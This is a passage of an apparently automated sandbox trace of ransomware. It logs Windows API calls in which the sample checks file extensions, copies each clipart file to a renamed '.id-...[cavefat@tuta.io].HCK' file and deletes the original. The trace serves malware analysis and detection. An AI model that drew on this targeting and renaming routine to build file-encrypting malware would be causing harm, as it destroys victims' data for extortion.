4 [0178.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.990] lstrlenW (lpString=".zip") returned 4 [0178.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.990] lstrlenW (lpString=".rar") returned 4 [0178.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.990] lstrlenW (lpString=".bz2") returned 4 [0178.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString=".7z") returned 3 [0178.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".dbf") returned 4 [0178.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".1cd") returned 4 [0178.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".jpg") returned 4 [0178.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".doc") returned 4 [0178.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString=".docx") returned 5 [0178.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.991] lstrlenW (lpString=".pdf") returned 4 [0178.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString=".xls") returned 4 [0178.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.991] lstrlenW (lpString=".xlsx") returned 5 [0178.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.991] lstrlenW (lpString=".ppt") returned 4 [0178.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".zip") returned 4 [0178.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.991] lstrlenW (lpString=".rar") returned 4 [0178.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString=".bz2") returned 4 [0178.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString=".7z") returned 3 [0178.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".dbf") returned 4 [0178.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".1cd") returned 4 [0178.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02441_.WMF") returned 68 [0178.991] lstrlenW (lpString=".jpg") returned 4 [0178.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.992] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.992] lstrlenW (lpString="NA02448_.WMF") returned 12 [0178.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.992] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2208) returned 1 [0178.992] CloseHandle (hObject=0x368) returned 1 [0178.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf")) returned 0x220 [0178.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.000] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.003] GetLastError () returned 0x0 [0179.003] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8a0, lpOverlapped=0x0) returned 1 [0179.005] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8b0, lpOverlapped=0x0) returned 1 [0179.005] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.005] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.005] SetEndOfFile (hFile=0x368) returned 1 [0179.008] CloseHandle (hObject=0x368) returned 1 [0179.008] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.008] SetEndOfFile (hFile=0x300) returned 1 [0179.012] CloseHandle (hObject=0x300) returned 1 [0179.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02448_.wmf")) returned 1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".doc") returned 4 [0179.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString=".docx") returned 5 [0179.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.015] lstrlenW (lpString=".pdf") returned 4 [0179.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString=".xls") returned 4 [0179.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.015] lstrlenW (lpString=".xlsx") returned 5 [0179.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.015] lstrlenW (lpString=".ppt") returned 4 [0179.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".zip") returned 4 [0179.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.015] lstrlenW (lpString=".rar") returned 4 [0179.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString=".bz2") returned 4 [0179.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString=".7z") returned 3 [0179.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".dbf") returned 4 [0179.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".1cd") returned 4 [0179.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".jpg") returned 4 [0179.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.015] lstrlenW (lpString=".doc") returned 4 [0179.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString=".docx") returned 5 [0179.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.016] lstrlenW (lpString=".pdf") returned 4 [0179.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString=".xls") returned 4 [0179.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.016] lstrlenW (lpString=".xlsx") returned 5 [0179.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.016] lstrlenW (lpString=".ppt") returned 4 [0179.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.016] lstrlenW (lpString=".zip") returned 4 [0179.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.016] lstrlenW (lpString=".rar") returned 4 [0179.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString=".bz2") returned 4 [0179.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString=".7z") returned 3 [0179.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.016] lstrlenW (lpString=".dbf") returned 4 [0179.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.016] lstrlenW (lpString=".1cd") returned 4 [0179.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 68 [0179.016] lstrlenW (lpString=".jpg") returned 4 [0179.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.016] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.016] lstrlenW (lpString="PE00013_.WMF") returned 12 [0179.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.018] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24896) returned 1 [0179.018] CloseHandle (hObject=0x3a4) returned 1 [0179.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf")) returned 0x220 [0179.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.019] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.020] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.025] GetLastError () returned 0x0 [0179.025] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6140, lpOverlapped=0x0) returned 1 [0179.027] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6150, lpOverlapped=0x0) returned 1 [0179.028] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.028] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.028] SetEndOfFile (hFile=0x2fc) returned 1 [0179.030] CloseHandle (hObject=0x2fc) returned 1 [0179.032] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.032] SetEndOfFile (hFile=0x300) returned 1 [0179.037] CloseHandle (hObject=0x300) returned 1 [0179.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00013_.wmf")) returned 1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".doc") returned 4 [0179.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".docx") returned 5 [0179.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.040] lstrlenW (lpString=".pdf") returned 4 [0179.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".xls") returned 4 [0179.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.040] lstrlenW (lpString=".xlsx") returned 5 [0179.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.040] lstrlenW (lpString=".ppt") returned 4 [0179.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".zip") returned 4 [0179.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.040] lstrlenW (lpString=".rar") returned 4 [0179.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".bz2") returned 4 [0179.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".7z") returned 3 [0179.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".dbf") returned 4 [0179.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".1cd") returned 4 [0179.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".jpg") returned 4 [0179.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.040] lstrlenW (lpString=".doc") returned 4 [0179.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".docx") returned 5 [0179.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.040] lstrlenW (lpString=".pdf") returned 4 [0179.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.040] lstrlenW (lpString=".xls") returned 4 [0179.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.040] lstrlenW (lpString=".xlsx") returned 5 [0179.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.041] lstrlenW (lpString=".ppt") returned 4 [0179.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.041] lstrlenW (lpString=".zip") returned 4 [0179.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.041] lstrlenW (lpString=".rar") returned 4 [0179.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.041] lstrlenW (lpString=".bz2") returned 4 [0179.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.041] lstrlenW (lpString=".7z") returned 3 [0179.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.041] lstrlenW (lpString=".dbf") returned 4 [0179.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.041] lstrlenW (lpString=".1cd") returned 4 [0179.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00013_.WMF") returned 68 [0179.041] lstrlenW (lpString=".jpg") returned 4 [0179.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.041] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.041] lstrlenW (lpString="PE00050_.WMF") returned 12 [0179.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.042] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19736) returned 1 [0179.042] CloseHandle (hObject=0x370) returned 1 [0179.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf")) returned 0x220 [0179.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.050] GetLastError () returned 0x0 [0179.050] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4d18, lpOverlapped=0x0) returned 1 [0179.052] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4d20, lpOverlapped=0x0) returned 1 [0179.053] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.053] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.053] SetEndOfFile (hFile=0x300) returned 1 [0179.054] CloseHandle (hObject=0x300) returned 1 [0179.056] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.056] SetEndOfFile (hFile=0x368) returned 1 [0179.062] CloseHandle (hObject=0x368) returned 1 [0179.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf")) returned 1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString=".doc") returned 4 [0179.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString=".docx") returned 5 [0179.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.064] lstrlenW (lpString=".pdf") returned 4 [0179.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString=".xls") returned 4 [0179.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.064] lstrlenW (lpString=".xlsx") returned 5 [0179.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.064] lstrlenW (lpString=".ppt") returned 4 [0179.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString=".zip") returned 4 [0179.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.064] lstrlenW (lpString=".rar") returned 4 [0179.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString=".bz2") returned 4 [0179.064] 